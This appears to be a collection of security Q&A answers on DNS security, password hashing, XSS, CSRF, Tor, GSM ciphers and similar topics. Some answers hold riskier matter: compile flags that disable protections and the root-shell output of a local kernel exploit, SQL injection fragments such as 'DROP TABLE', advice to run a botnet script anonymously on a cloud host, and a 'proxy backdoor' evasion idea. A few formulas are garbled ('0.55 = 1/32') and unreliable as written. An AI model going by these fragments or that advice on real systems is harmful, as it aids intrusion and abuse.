DNSCurve is more like TLS for DNS servers, in comparison to DNSSEC, which is signed records. DNSCurve uses point-to-point cryptography to secure communication, while DNSSEC uses pre-calculated signatures to ensure the accuracy of the supplied records.
So we can summaraize it like this:
DNSSEC: Accurate Results
DNSCurve: Encrypted Traffic
Theoretically you can use traffic encryption to ensure accuracy, the way TLS does for websites. Except that it's not really the encryption that's ensuring your accuracy, is the authentication provided through the PKI. And there's a set of critical problems with the basic DNSCurve PKI.
The first problem here is that with DNSCurve, each and every DNS server involved needs a private key, and since the key signature is encoded into the resolver's address, then in the case of anycast DNS servers, each server needs the same private key. But even if they use different keys, you're still trusting the local security where the DNS Server is installed. If the server is installed somewhere hostile, then the results can be compromised. This is not true with DNSSEC.
ICANN has stated that, in the case of the DNS Root zone servers, DNSCurve will not be implemented, ever. Many of the root servers operate in less-trusted locations, and the potential for abuse by local governments would be enormous. This is precisely why DNSSEC was designed such that signing happens outside the DNS server. DNS relies on a vast network of server which may not be individually trustworthy, so DNSSEC was designed such that the trust is based solely on the information they serve, not the honesty of the operator.
The second problem is that DNSCurve secures the public key by encoding it into the resolver name. But DNSSEC does not sign the resolver name. This means that DNSSEC (which is implemented in the root zone) cannot be used as a trust root for DNSCurve, because the one thing that DNSCurve requires to be accurate is in fact the very thing for which DNSSEC cannot ensure accuracy.
So essentially DNSCurve is pretty much a non-starter. While it can be used to guarantee the security of your communication with a single DNS resolver, there currently is no way of globally anchoring your trust in a way that could guarantee the accuracy of any results you retrieve.
Unless DNSCurve is re-designed to allow for trusted key distribution, it will have to remain a client-side security tool rather than a tool for ensuring the authenticity of DNS records.
Since DNSCurve is relatively new and was developed largely by djb in isolation, presumably these show-stopping issues were simple oversights on his part, and may be fixed at some future date. Though given Dr. Bernstein's track record of maintaining his inventions, I wouldn't hold my breath.


A start would be comparing password entropy to symmetric key size. A random password of 13 characters has approximately 80 bits of entropy, thus is comparable in security as a 1024 bit RSA key pair.

However, this is mostly theoretical since users typically choose insecure passwords, while key pairs are almost always random.

I would say key pairs always offer better security against brute force, but whether they should be used in your situation depends on other factors.


Simple and Universal way to password-protect existing webservices that are exposed to internet

The common way to solve such problems is to put these systems behind some reverse proxy (i.e. nginx, Apache, ...) and require authentication for this reverse proxy. In this case only the proxy which requires authentication can be accessed directly from the outside but the systems behind the proxy can only be access through the proxy with authentication. This allows also the mapping of the path you want as long as application behind the proxy does not enforce absolute path.

A different approach is to have some external service which is used to connect the user with the internal server and which requires authentication. In this case some internal connector will connect to the external access proxy and will forward any traffic from the access proxy to the internal server. The access proxy or the internal connector will do the authentication of the user:

 internal-server <--> internal connector --> external access proxy <-- user

One advantage of this approach is that no explicit port forwarding needs to be done. This approach is for example done by ngrok or access proxies by Cloudflare, ZScaler, Akamai...


Why is malwarebytes.org's SSL certificate from someone else?

It looks like a misconfiguration. www.malwarebytes.org is, at the DNS level, an alias for wac.1D00.edgecastcdn.net, which belongs to EdgeCast, a company that specializes in content hosting and delivery. The certificate is theirs. My guess is that Malwarebytes is a customer of EdgeCast, and someone at EdgeCast made a configuration mistake. This will probably be promptly fixed, at least if the people at Malwarebytes are made aware of the issue.

As for database updates, they might not use the same address and server as their Web site, as you see it. They may also use "direct trust": the client already knows the exact server public key, and simply ignores the certificate as sent by the server. Direct trust is not very flexible, but it is secure.


Reasonable (BruteForce) Attempts/Second Estimate?

This answer is just to add some other way to think about the question: if no flaw is found in symetric encription (i.e., in the algorithm you choose, like sha/whirlpool, or any other), there are physical limits on how far you can go to compute a brute-force attack over a 128 bits (16 character) password (or key).

Take a look at wikipedia to see how much energy it would require to compute such key space, and to verify that there's not enought energy available to do so.


Signing a file does not encrypt it. When Alice signs a file she usually signs the whole file. So she calculates a hash of the whole file and signs only the hash with her private key and attaches this piece of information to the file.
Bob uses her public key to verify it and gets her calculated hash. He then calculates the hash of the file himself (without the signature of course) and checks both hashes. If they match its the same exact version of the file Alice sent. If they don't match Mallory could have changed it.

The file itself never gets encrypted, and of course you can just remove the signature, but then it's not signed anymore (and therefore worthless).

For more technical and detailled information please refer to forests answer: https://security.stackexchange.com/a/198473/191453


How to check if my USB stick firmware can be rewritten via the USB port?

In short, there is no way to know this.

There are to many 'badly written' USB controller chips out there that either not report that you can write to them. or worse report you can. but simply ignore any attempt to write to them.

So without knowing specifically what chip it is you can not know how it reacts to such an instruction.

As a even worse case there are USB devices out there which are either USB stick's or USB HDD's that when written to an extreme address instead of writing it to disk, write it to the internal memory (e.a. the flash EEPROM) and you simply can not check for it without writing your own software to do that and test it by uploading your own firmware. (or brick the USB device).

The only reliable methodology for knowing if a USB device can be used in this manner is by White listing the known USB Controllers that allow writing.
and writing your own test software to check for this.


What is the purpose of Rb in the 3rd step of the 3-pass mutual authentication in ISO/IES 9798-2?

In all generality, authentication protocols strives to be provably secure while assuming the minimum of properties for the used primitives. For instance, do all challenges have the same length ? When using concatenation (as in NA || NB), is the separation between NA and NB unambiguously defined ? To what extent is the encryption mechanism malleable (e.g. what does happen if an attacker tries to swap the two halves of an encrypted message) ? Inclusion of NB in the third message is an attempt at avoiding some attacks of this kind.

See this document for an analysis of the ISO 9798 authentication protocols. The three-pass protocol is actually not optimally secure.


Is the Shadow MBR used in SEDs a security vulnerability?

The point is that the Shadow MBR is provided by the drive itself, so it could be made read-only (or, more likely, provided by firmware, and if the manufacturer did things properly, the firmware won't be writable in locked state¹). Still, albeit it makes the FDE-unlocking attack harder, an attacker could always put a SATA filter in front of the locked drive that performs the key stealing (the same procedure but with hardware instead of software).

¹ Note it will probably still by directly flashing the hardware chips, though.


Personally, I would probably implement both with new users getting a strong modern hash (bcrypt or other key-strengthened cryptographic hash) and old users having the weak hash wrapped around bcrypt.  Before people complain of extra implementation complexity the alternative is to always force new users to use weak hash algorithm wrapped around strong hash algorithm, and that means you'll never be rid of the original scheme.

I would have some documented indicator of the type hash scheme analogous to the $1$, $2a$, $5$, or $6$ in crypt (quote from the crypt man page):

   If  salt is a character string starting with the characters "$id$" fol‐
   lowed by a string terminated by "$":

          $id$salt$encrypted

   ... id  identifies  the  encryption
   method  used  and  this  then  determines  how the rest of the password
   string is interpreted.  The following values of id are supported:

          ID  | Method
          ─────────────────────────────────────────────────────────
          1   | MD5
          2a  | Blowfish (not in mainline glibc; added in some
              | Linux distributions)
          5   | SHA-256 (since glibc 2.7)
          6   | SHA-512 (since glibc 2.7)

In this case, you need three types of password hashes:

The old fast weak hashes
The old fast weak hashes that is wrapped around a slow hash with a strong salt
The new slow hash.

On day 1, I would take everything from category 1 and move it into category 2.  New passwords would be put into category 3.  Furthermore, as people login, you can even migrate every successfully authenticated hash from category 2 to category 3 while the plaintext password is in memory.  At some point, you can even completely eliminate any evidence/legacy maintenance of the weak hashing scheme.  (E.g., forcing users with accounts that haven't logged in for 2+ years after the change to reset their passwords).


Specific Dangers in Joining a Linux Botnet?

been there, did that, faced a massive DDOS against my company afterwards. i'd suggest: take the script, setup an aws-instance and run it there.

never ever run that script on a server that could be linked back to any production-system or your company. try to stay anonymous, because you dont know whom you deal with.


Solution to block email sending to domains with typo error

I've implemented this before for the same exact issue because there is no "simple fix" for typo's here's how to cleanly handle it.

First a company policy needs to be written and employees need to read and sign that they acknowledge it and SANS has some good boilerplate's that can be used. The policy must state that all sensitive emails MUST be sent by using a global address book which is centrally managed. Here you put in all the correct email addresses and also confirm that they are correct before telling the users to use them and showing them how to access them. The policy needs to be very clear that ONLY the Global Access List (GAL) is to be used for sensitive emails and that if not followed may take action against the employee for disciplinary action.

Second, either completely disable autocomplete or train the users how to remove invalid addresses one at a time.

Third, train the employees of the new policy and it will only happen when they intentionally do not select the users from the GAL.

Lastly, if information is truly sensitive like patient information, credit cards, etc. then a 3rd party email encryption product should be used. If you are in a regulated industry like in medical with HIPAA and HITECH then encryption systems like this MUST be used or they can be fined or they can stick with only faxing while the recipient is waiting to receive or use SFTP/FTPS but that's a whole other conversation.


UFW Blocks some IPs which are trying to attempt a connection to the server

Simple answers:

Is this server under attack? No more than any other server on the internet.  This is just the background noise of the internet.  In short, any computer that is accessible to the internet will find itself being regularly scanned by various bot nets for many different reasons.  All the more reason to keep your servers secure.
How does UFW distinguish dangerous IPs normal ones? I don't specifically know about UFW, but there are two simple ways to identify malicious IP addresses: because they are sending malicious traffic, and because they have been reported as being malicious in intent (basically, by checking services just like you did).
What should I do for greater security? All the usual things: make sure the only open ports are the necessary ones, harden your server appropriately, and keep vulnerabilities out of your applications.  This question is too broad for a better answer that than.


Is the idea of a hosting provider with built-in DDoS protection plausible?

It depends on what you mean by DDoS protection.
If you mean be able to serve normal request even when facing a DDoS attack using a very large number of relays, then the only way if to use a CDN that will be able to absorb the increased load.
If you mean to detect clients sending requests at an abnormal rate, and limit that rate, then a good proxy in front of the application server might do the job. If the number of relays is not too high, normal clients would notice a delay but the system would still be useable.
If you mean to protect the application and prevent it to crash because of the load, a good proxy is enough. It will limit the number of simultaneous requests, and the application will continue to work fine. Normal clients would notice that the system is hard to use or even unreachable during the attack, but everything will be fine as soon as the attack will stop.
Those last 2 ways are often combined on systems that (often for security reasons) do no want to rely on a third party service.


Cookie ASPSESSIONIDSACSARTD created without httponly flag

After Question Edit:

A cookie with the HttpOnly flag cannot be read by client-side scripts like Javascript (note that the client handling the HTTP response must support the HttpOnly flag).

A page vulnerable to XSS may steal the session information in cookies and send them to an attacker.

If the HttpOnly flag is set the Javascript cannot read the cookies even if XSS is present. This prevents things like session hijacking.


Configuring docker securly on a developer machine

Quoting from Docker security | Docker Documentation - Docker daemon attack surface (emphasis is from source):

  "First of all, only trusted users should be allowed to control your Docker daemon".

My take:

Docker's primary goal is to provide isolation of programs / resources using the container concept - i.e., isolation of one container from another.

In order to do this, docker daemon needs superpowers (i.e., root privs). If you "own" docker daemon in some way (e.g., you are part of the docker group) and use that privilege, then you can use the daemon to exercise those superpowers.

From your example command line, it does seem that you are part of the docker group (otherwise you would have to use sudo docker ... ), so it is expected behavior for current versions of docker.

You might want to read that Docker security documentation a few more times to find out what you want to secure and how you can do it.


linux kernel exploit shellcode causes segfault

All good I have figured it out all I needed to do is turn off NX Execute in the  kernel terminal by

pressing e and type in noexec=off on the linux line and boot in by pressing F-10 and compile the exploit with.

  gcc -m32 -fno-stack-protector -z execstack w00t.c -o w00t

and I also didn't need to test the shellcode because it kept segfaulting.

but it worked!! I got root!!

OUTPUT:

  root@kali:~/null_dereference# su blake
  blake@kali:/root/null_dereference$ ./w00t

    [-] Allocating memory.
    [-] Copying shellcode into memory.
    [-] Opening file descriptor.

            *** BANG ***
            ------------

    [+] YOU ARE ROOT

    # id
    uid=0(root) gid=0(root) groups=0(root)


Embedding expiry dates into keys possible?

Yes you can design a protocol where key generator and key user agree on where this timestamp is saved (NB: next to the key bytes or inside the key bytes, but the later option is highly dangerous as it might reduce entropy so don't do it). You might need to also device some mechanism to make sure the date cannot be changed.

There are all kind of clever ways for that, but X.509 certificates already standardize this, so you might simply use them.

The owner of the secret key would have to check if the secret key matches the certificates public key, if the certificate is properly signed from a trusted issuer and the current time is well within the validity period.


Methods for encrypting user data on server, Authenticate with client TLS certificate

An easy way is to enable BitLocker, FileVault, and equivalent in Linux. If someone steals your machine or disk, the data is encrypted. It is done at the OS level, so you do not need to make any changes to your applications.

This is very effective esp. with legacy databases, file stores, and applications.

If you are concerned about DB compromised remotely on a machine that is already unlocked and running, then the same can happen with your application. So you will need to threat model and figure out why the attacker who can compromise your DB cannot compromise your application and use it to get the data in the decrypted form.


Is DOM XSS attack possible on website that is not using JavaScript?

You really have two questions here.

  Does DOM XSS work on pages that don't use js?

I'm assuming that you mean DOM based XSS, and in that case, no. DOM based XSS requires that user input is put into the DOM client side, which happens via JavaScript.

A simple example is JavaScript reading out part of a URL and writing it into the document.

  Can an XSS attack be done on a static page that doesn't use any JavaScript?

Sure. If you echo user input into the static page - which, in contrast to DOM based XSS, happens server side -, a user can simply add script tags themselves, or enter a JavaScript context via various event attributes.

If you know that you will only have static pages, you can prevent the execution of injected JavaScript by using a Content Security Policy. Note that it is the job of the browser to actually enforce this policy, so this may not help with older browsers, and proper defenses against XSS should still be applied.


The HTTP request is for / (the index page of your webserver) with a query string of "search=<chunk of VBscript>"

If you've got a vulnerable webserver (I don't know what makes a webserver vulnerable, but the "%00" in the URL makes me think it's related to inconsistent handling of null bytes), the script attempts to download and run "getsetup.exe", which is presumably a rootkit or other exploit.  In this case, the result of "200" means you just got owned.

If your webserver isn't vulnerable, this is just an ordinary request for the index page, with a query that's completely ignored.  In this case, the result of "200" means your webserver is functioning normally.

You're running Apache on Ubuntu.  Since this exploit only affects IIS on Windows, you can ignore it.


Why do CDNs allow arbitrary backend to be set, is it not a big security concern?

... why do CDNs open the backend at the first place?

Anyone can already setup their own domain without a CDN so that it works as a proxy to another domain. A simple hosting service or VPS is needed for this and sometimes even a simple CNAME will do. Thus if a CDN allows this it essentially makes only available what is possible otherwise too.


Https - why isn’t the initial connection encrypted / how to avoid initial suspicion?

You are confusing "confidentiality" with "anonymity". Encryption makes it so that the content of your communication cannot be known (confidentiality). But it does not hide who you are communicating with.
So, encryption is not the tool you need to use.
You are looking for some way for your traffic to be obscured. A VPN and Tor can do that, but then you say that you also want the fact that you are using an anonymising tool to be hidden. And that gets tricky since you need to rely on the Internet to pass your traffic to your destination. You have to expose your traffic to some degree.
That's when you use a proxy. And the best case is when the proxy is something innocuous, like a legitimate website that has a proxy backdoor. Then your traffic is going to this legitimate website, but it sends your traffic onwards to its final destination.


As far as I understand, bit flipping attack applies if you can see the decrypted output. Thats how you can manage to obtain desired plaintext changes step by step.

Look at the Evil Maid attack if you want to see an example of full disk encryption defeat.

Causing the DoS is easy as you can alter the key slot (you can know where it's located easily), the legit passphrase will be unusable after that.

With LUKS, for example, your passphrase for unlocking the drive is derivated and the key obtained can decrypt the master key stored in a key slot. That scheme allows you to have multiple passphrases at the same time being able to unlock the drive (for multiple users without the need to share the passphrase) and to change the passphrase without the need to decrypt-encrypt all the disk again. If you alter the encrypted master key(s) (in their key slot) passphrase(s) become(s) unusable and indeed, the data is lost (DoS).


So I'm going to call your hash a payload.

Your idea sounds like:

  Send me a payload so I can confirm the bcrypt value of it.

Which exactly the same as a password:

  Send me a payload so I can confirm the bcrypt value of it.

This is nothing more than security theater and you're trying to get people to generate an absurdly long password they then need to store and reuse every time because they may not be able to regenerate the exact same way.

You've also already said that if someone completely owns the user in a MITM attack it's kind of worthless because now they have to generate a new hash, for this service and any other service that uses that hash(just like a password).

Really what you're asking as user to do is generate a unique, HUGE, impossible to remember password for your service that they have to store anyways, now in a digital only format because it's impossible to type, or write down.

This is a BAD idea. This also ignores the limitation of bcrypt only using the first 72 characters of a string.


Best way to test my home network from the outside

I run scans on my home IP from a Linode account. Any VPS that doesn't filter your outbound traffic should work (just make sure it doesn't violate your TOS).

First run a full scan against your home IP address. Expect to find only the ports you know you have explicitly opened open. Expect everything else to be "filtered".

Then verify that it is your home router that is performing the filtering and not your ISP. To do this, open a port on your router and rerun the scan. Expect that the port you have opened is detected as open by your scanner. If you find that you still see this port as filtered, then your ISP may be blocking that port. If so, this isn't necessarily a problem, but it means that the previous test didn't test your router, it tested the network connection to your router. Don't forget to disable the port when you're done.

If you want to test your router in isolation, and your router isn't built in to the modem, then you can test it as follows:

Disconnect the router from your modem. (Where "modem" is whatever device connects from your LAN to your ISP's network.)
Connect a second computer to the WAN port on the router. Configure this computer with a static IP address that is independent of the LAN addresses used by your router.
You may need to turn on a DHCP server on the second computer so that the router's WAN interface gets an IP address as usual.
Perform the scans described above from the second computer.

As @logicalscope mentioned, if you decide to perform a scan from the Internet you may want to give your ISP a heads-up to avoid any trouble.


If CSRF tokens are embedded in meta tags, how do they offer security?

They are safe because of the Same-Origin Policy: an origin A (site.com) cannot read a resource from another origin (other.fr) unless you've whitelisted that using Access-Control-Allow-Origin.

In case of basic CSRF, the attack does not consist in reading the response, but it consists in tricking the server to do an action that was fired by a victim user without this victim being aware of it.

So in basic CSRF, the victim has a token that attacker cannot know (Same-Origin policy prevents it). When victim requests something from the server (/user/delete?id=15 but in real world, do not pass the ID by GET but by POST since it's changing server's state), then the server will check if that token is present and valid. If not (because it's fired by the attacker, which cannot know the token) then the server refuses to process it and the user 15 is not deleted. When token is here and valid, the server deletes the user and returns the response (that one can still not be read by attacker).

So Same-Origin prevents attacker from reading the response, while CSRF token prevents the server from processing an unwilled request.


How do I reset passwords on multiple websites easily?

This is a known problem without an existing solution. Some password management tools are working on it, but it is not complete or fool-proof.

For example: https://helpdesk.lastpass.com/generating-a-password/

  Auto-Password Change will change a site’s password with a
  single-click.  This feature currently supports 75 of the most popular
  websites. You can see the full list of supported websites below.

In general, though, when you use a password manager for all your accounts, 90% of the work you need to do is already done. You know which sites use that username/email, and you can avoid re-using passwords in the first place (or know which accounts use a shared password).


The data is not out of the box encrypted.  Files are stored within a subdirectory /var/lib/postgresql/.  See: http://www.postgresql.org/docs/8.4/static/storage-file-layout.html

While the OS is running its limited to being read by root/postgres user.  Remember, if a user has permission to reboot from a live cd or into single user mode or take out the hard drive and there's no full disk encryption, they can read the files.  Granted the files aren't easy to navigate through -- they are stored in a binary format, but you can often pick out ASCII strings from the files (and a dedicated attacker could get at the full underlying data).


You are on solid ground with your basic XOR idea. XOR'ing multiple UNCORRELATED strings to reduce bias is one of a number of techniques that come under the general heading of "Software Whitening".

http://en.wikipedia.org/wiki/Hardware_random_number_generator#Software_whitening

(John Deters' wiki link was completely on-point; this one is just a bit more "applied".)

Using a cryptographically secure PRNG to create the material for XOR'ing is among the more reliable ways of guaranteeing a decorrelated removal of bias.


Why does Windows Ship with Expired SSL Certificates?

In essence, these certificates are necessary and required for backward compatibility with XP and Server 2003. If anything was signed with these certificates, even if they're expired now, your server needs the cert trusted in order to trust the thing that the cert signed.

Source: http://support.microsoft.com/kb/293781

  Some certificates that are listed in the previous tables have expired. However, these certificates are necessary for backward compatibility. Even if there is an expired trusted root certificate, anything that was signed by using that certificate before the expiration date requires that the trusted root certificate be validated. As long as expired certificates are not revoked, they can be used to validate anything that was signed before their expiration.


If you do the hashing on the server side, the server (and an attacker with access to it) could read your cleartext password, correct.

But hashing the password on the client does not really help if someone managed to get access to the server - because the attacker could easily alter the javascript source to get your password in cleartext or start bruteforcing the database.

If the server is trusted, then there is no problem if it processes passwords - and if the server is not trusted, then client side hashing won't add much to security.

Using different passwords for each service would be a better and more secure solution for this problem.


SmartCard for private keys - personal usage

Or would I need a SmartCard "writer"

Most (all?) smart card readers can write values to the card.  All you should need is the smart card.  It's worth noting that you probably want a cryptographic smart card.  They tend to cost more than $10. There are other smart cards that cost less but don't do the encryption on the card (which makes they much less secure).  You will also want a card / drivers that will work with your operating system.  Setting up the drivers can be a bit of a pain.  There are also different kinds of certificates.  For example, there are PGP keys and there are x509 certs for PKI.  You will want a card / reader that will work for what you are doing.  Do some googling and see what cards other people have used on your OS.

  Would it be wise/possible/practical to buy a single SmartCard,
  transfer my private key on that (somehow), and use it as my primary
  private key storage?

If you are concerned about security, it is a very good idea.  Computers have many avenues of attack while a smart card has far fewer.  Using a smart card can keep your private keys safe even if your computer is compromised.  Just make sure you do some research on your reader and the card you are looking to buy to make sure it will work with your OS / application.

Another note: although you can transfer an existing key to a card, it is better to generate a new one in a safe environment.  You don't know if your existing one has been compromised before you put it onto the card.


Clicked a shortened link in a phishing email in Mac

Yes, there is a chance your mac is infected.  Without an analysis of the link you clicked on and your system, there's no way to know for sure.

That said, it's unlikely. If it was attempting to steal your credentials, it probably wasn't trying to drop malware, and even then it would likely be Windows malware.

Regardless, changing your password is probably a good idea. Reinstalling your OS is probably overkill. If you're really paranoid, you could run a wireshark capture on your system and look for indicators of C2 communication.

At the end of the day, it's your decision.


Could my DNS requests get manipulated while using tor?

For your question, you can imagine TOR like a proxy whose administrator can see everything you do if it is not encrypted.

Every unencrypted content you send through TOR can be seen by the owner of the first and the last node.
And every content not signed can be potentially altered by these nodes.

Here is an article about a security researcher trying to identify nodes sniffing traffic: https://chloe.re/2015/06/20/a-month-with-badonions/

EDIT: I had not read her last article about content manipulation by exit nodes, but this clearly shows HTTPS may be recommended: https://chloe.re/2015/06/30/this-weeks-tor-attacks/


Using AES with a hex key/iv, what mode of operation is the "most secure"

They're all secure enough.  The two standard choices are CBC and CTR.  CBC is a bit more resilient to implementation errors.  CTR can be parallelized more effectively.  Pick either one.

Just make sure that you know what you are doing.  The number-one most common mistake is to design your own cryptography.  The number-one best way to avoid common mistakes is to reuse some existing high-level crypto software, like GPG or the OpenPGP format for securing data at rest, and TLS for securing communication channels.

Based upon your question, I would say that you are at high risk of introducing common mistakes into your software by attempting to build something yourself, rather than using standard mechanisms like GPG/TLS/etc.


Resource server and authorization server in OAuth 2.0

According to https://tools.ietf.org/html/rfc6749#section-1.1

  The authorization server
     may be the same server as the resource server or a separate entity.


What are the privacy implications of the "Your Phone" app on Windows?

Your data is sent to the internet, yes.
I think that the connection phone-app that "your phone" does is somehow similar to Whatsapp Web's, your data is sent to the internet and received from your computer, but not stored anywhere.
You can test this, try to connect with the phone connected 4g and your PC on Wi-Fi. It must work.


Recap and basics
First off, let us take a quick recap on how to prevent brute-force attempts.
A brute force attack is one where someone tries lots of different passwords (potentially sequential) until they get into the system.
With this in mind, there is really only one way to prevent brute-force attacks: throttle the speed with which attempts can be made.
Example
If all passwords were 8 alpha characters, there are 26^8 ≈ 208 billion password combinations. If a brute force algorithm was restricted to one attempt every second, it will take approximately 26^8 / (60*60*24*365.2425) ≈ 6617 years, so this would be one easy way to prevent brute force attempts without interrupting the user experience.
Most systems, (probably including iOS) are more likely to have an incremental throttle system, something like:

normal max rate is 1 per second (that is quick for a person, really slow for a robot)
after 10 incorrect attempts, this reduces to 1 per 10 seconds
etc.
after a successful login or a specified amount of time, the rate resets.

Caveat
This incremental throttling type of system can massively penalise individuals with long passwords and/or a disposition towards mis-typing their password.
If a person mis-types their password the same wrong way, how many passwords have they actually tried? Only 1, so why would it throttle them more than that.
As such, a decent throttling system would also store a hash of the attempted password, and only track number of unique passwords attempted.
Side note
This could be an interesting (though unreliable) way to determine if it is a user attempting to log in or a robot - a robot attempting to brute force would be much quicker (unbelievably so) and would never need to attempt the same password twice.
Summary (and answer to the ops question)
You have tried the same password multiple times, so might not trigger anything as there is no brute force attempt.
Even if you were to attempt different passwords, it is unlikely you will be able to enter them quick enough to trigger anything that prevents brute force attacks: you are nowhere near as quick as a robot.


Is it possible for web scanners to crawl and test pages simultaneously?

It is possible. WebInspect has had this feature since 2007 -- it may have been the first. Burp Suite Professional was also released that year with Spider and Scanner supporting runs simultaneously.

Some tools like Netsparker do crawl first, but in this case I have found that you can install Netsparker, configure it, have it crawl, attack, and export results faster than any other equivalent tool. I contend Netsparker will finish most apps over lunch when most other commercial scanners invovle wrangling that often goes on for days.


Why is this 435 × 652 pixel JPEG over 6 MB?

Short answer: It's an artifact of Nikon Picture Project

I had difficulty finding "Nikon Picture Project" but finally found a 1.5 version to try. The last version produced was 1.7.6 .

It turns out that "Nikon Picture Project" does indeed implement non-destructive editing with undo and versioning capabilities. Unlike every other photo editing software I've ever seen, it does this by directly altering the JPG file structure and embedding edit controls and versions directly in the JPG. There is an Export JPEG function in the software to flatten and remove history but it looks like the native munged JPGs were posted instead of using the export.

I loaded up your first reference image (resized here)

.

Sure enough, "Nikon Picture Project" showed it as an edit and crop of a much larger picture (resized here)

.

Checking the before and after file structures verifies the weird artifacts.

Thanks for the puzzle!


Why does not GSM use any stream cipher mode (OFB, CFB)?

Actually, GSM uses "A5", which is not one algorithm, but several. The initial GSM standard dates from the late 1980s, and had to work on hardware available at that time. A mobile device using what was considered the standard secure block cipher algorithm at that time (3DES) would have been too bulky and drawn too much power to be considered "mobile", even in the eighties.

So custom algorithms were designed. The A5 family contained three algorithms:

A5/0, which is "no encryption at all".
A5/1, the "strong" algorithm for well-behaved countries.
A5/2, the "weak" algorithm for other countries.

The distinction between A5/1 and A5/2 makes sense only if envisioning to eavesdrop on phone calls. However, A5/1 was supposed to be strong (presumably, in lawful countries, eavesdropping is done by law enforcement agencies through official judiciary channels, and thus can be done on the network provider side, without needing to break through the on-the-air encryption system).

A5/1 and A5/2 use just a few LFSR; they are remarkably power-efficient. An A5/1 core can use less than 600 transistors, while a 3DES inefficient core (one round, with a loop counter, no pipeline) would need 5 to 10 times as much; and AES even more (AES was invented ten years later anyway). A5/1 still offers an extremely high security-to-power ratio.

Unfortunately, A5/1 was designed with too small an inner state, reflecting the traditions of the industry at that time (in particular the tradition of not allowing academics to come too near of practical applications, lest they break something through their quaint disregard for the mundane world). The A5/1 structure (three LFSR with the special clocking rule using the middle bits) offers, for a total internal state of n bits, a security level of about 22n/3 (see section 3 of this article). This means that the 64-bit space of A5/1 brings security to be about the same as a 42-bit block cipher, i.e. not a lot... and quite a few researchers have describes "breaks" which apply various precomputed table methods to this 42-bit strength problem.

A "boosted A5/1", with the same structure but three times larger (three LFSR of total size 192 bits or so) would still be impeccably secure nowadays, and more power-efficient than any more classical alternative.

Technology improved, and modern mobile phones are now computers, with CPU which are perfectly able to encrypt and decrypt data at full network bandwidth, with more usual algorithms. Therefore, for 3G, the A5 family was adjoined a fourth member, called "A5/3": this is the block cipher KASUMI turned into a stream cipher by being used in OFB mode. KASUMI is still "optimized for hardware" (its S-boxes are derived from relatively simple boolean expressions) but much closer to what is done in software-oriented block ciphers.

Summary: GSM did not use a block cipher in CTR or OFB mode mainly because of limitations of the available hardware at that time (25 years ago). And nowadays, it does use a block cipher in OFB mode.


How does Tor protect against an attacker just running thousands of nodes?

Tor provides privacy only under the assumption that at least one node in the randomly selected chain is not attacker-controlled (since we are talking about traffic analysis, simply eavesdropping on traffic entering and exiting this node, without trying to decrypt it, counts as "control"). This is probabilistic. If the attacker controls, say, 50% of all nodes, and your browser uses a chain of length 5, then the attacker wins with probability 0.55 = 1/32.

To mitigate such attacks, you can configure your client to choose chains non-uniformly, but instead to enforce a "global spread" so that the chain will go through nodes in several countries who don't like each other.


How to properly encrypt a communication channel between a client and a server (without SSL)?

This is actually simpler than the others have suggested I think. Here is what I propose:

Generate a public/private key pair using RSA. You can do this on any unix machine using openssl: openssl genrsa -out rsa.private 2048
Distribute the public key as hardcoded in your client.
When the client logs in, the client generates a private shared key (also using openssl, or another well known encryption library) and encrypts it using the public key.
all data between client and server should be encrypted with the new shared key for the length of the session.

There is a lot of other stuff you can do to harden it, such as limiting sesison length to one or a few hours before re-generating keys, having the server sign message digests, etc. A full understanding of encryption will help you understand what those are and why, but for a basic implementation (for medium to low value data) this should be sufficient.


Why PEM encodings of EC public and private keys use different headers?

To answer your first question, this is based on the RFC https://tools.ietf.org/html/rfc5915 (section 4)

The missing algorithm name has to do with the encoding format used while encoding i.e. pkcs#1 vs pkcs#8. The first one doesn't contain the algorithmIdentifier and hence the algo name(EC, RSA etc.) is included in the label. However, pkcs#8 encapsulates the algorithm identifier and hence it's omitted from the label.

for example, pkcs#8 format for private key is this:

PrivateKeyInfo ::= SEQUENCE {
   version                   Version,
   privateKeyAlgorithm       PrivateKeyAlgorithmIdentifier,
   privateKey                PrivateKey,
   attributes           [0]  IMPLICIT Attributes OPTIONAL }

Version ::= INTEGER

PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier

PrivateKey ::= OCTET STRING

Attributes ::= SET OF Attribute

To clarify, there is nothing preventing one to represent the public key in pkcs#1 format and thus creating a header of the type: -----BEGIN EC PUBLIC KEY-----. So it seems that the particular encoding produced is according to the default encoding set for the tool(I am not sure of this though). Nevertheless, any decent tool/library should be able to gracefully handle either format, even when different formats are used for the public and private keys of the same key-pair.


Is it possible to bypass HTML character reference encoding to inject SQL in this context?

SQL injection works by skipping out from the "value" part of SQL syntax into the "command" part.

String values (as in your example) are surrounded by quotes - to break out you would need to include a similar quote in your value (like ' WHERE 1; DROP TABLE ... or whatever the actual syntax would be).  HTML encoding doesn't allow quotes, so that won't work.

I did wonder a bit about unquoted fields - e.g. if it's expecting a number (from a dropdown) but you give it a command (like 5 WHERE 1; DROP TABLE ... or whatever).  However, I'm not aware of any single-word SQL statements - i.e. you can't do anything without something to separate the tokens (e.g. a space  or punctuation ( etc.).  So even if you were looking at an unquoted field like a number then you could screw up the statement and produce an error, but not actually execute anything.


How to enable OPAL SSD encryption on Windows without BitLocker?

You ought to be able to find something useful here (binaries and source included by r0m30 on github also).

  Up until recently, configuring these TCG Opal drives was only possible
  under Windows, or under Linux with a commercial solution that was not
  available to mere end-users. Fortunately, a programmer named r0m30
  stepped up to the challenge and has developed an open source utility
  called msed and an accompanying pre-boot authorization (PBA) image
  with which the super fast encryption function on these drives can be
  fully configured and used also in pure Linux systems.

The "pure Linux" system shouldn't be a problem - the PBA is OS agnostic, it should simply boot whatever is in the active partition once it is unlocked. The OS and the drive will "see" an unencrypted drive without even be aware that the hardware is actually doing decryption on the fly, unless they issue the appropriate API status calls.

Keep in mind that very likely you'll need to reformat the SSD altogether, since this solution is for booting off an encrypted device and requiring it to boot from a small non-encrypted shadow "partition" for password acquisition purposes.

So you probably will need to:

backup your data
disable OPAL in the UEFI
format disk and install the shadow MBR with OPAL encryption
enable OPAL from shadow MBR and insert a new password
restore your data (the disk might be slightly smaller).

I'm not sure on the "slightly smaller" thing but it seems safest to use some backup strategy that does not rely on the disk exact geometry (i.e., no dd-imaging), just in case.


Why does broad based malware use XOR obfuscation?

Well there are more complex obfuscation techniques. For instance metamorphic and polymorphic malware.

There is an article on searchsecurity by Margareth Rose detailing how this works:

  Metamorphic and polymorphic malware are two categories of malicious
  software programs (malware) that have the ability to change their code
  as they propagate.

  Metamorphic malware is rewritten with each iteration so that each
  succeeding version of the code is different from the preceding one.
  The code changes makes it difficult for signature-based antivirus
  software programs to recognize that different iterations are the same
